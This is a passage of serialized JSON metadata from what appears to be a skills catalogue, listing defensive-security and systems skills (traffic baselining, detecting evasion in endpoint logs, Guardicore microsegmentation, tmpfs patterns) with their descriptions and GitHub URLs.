profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":117,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":125,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":130,"name":131,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":134,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]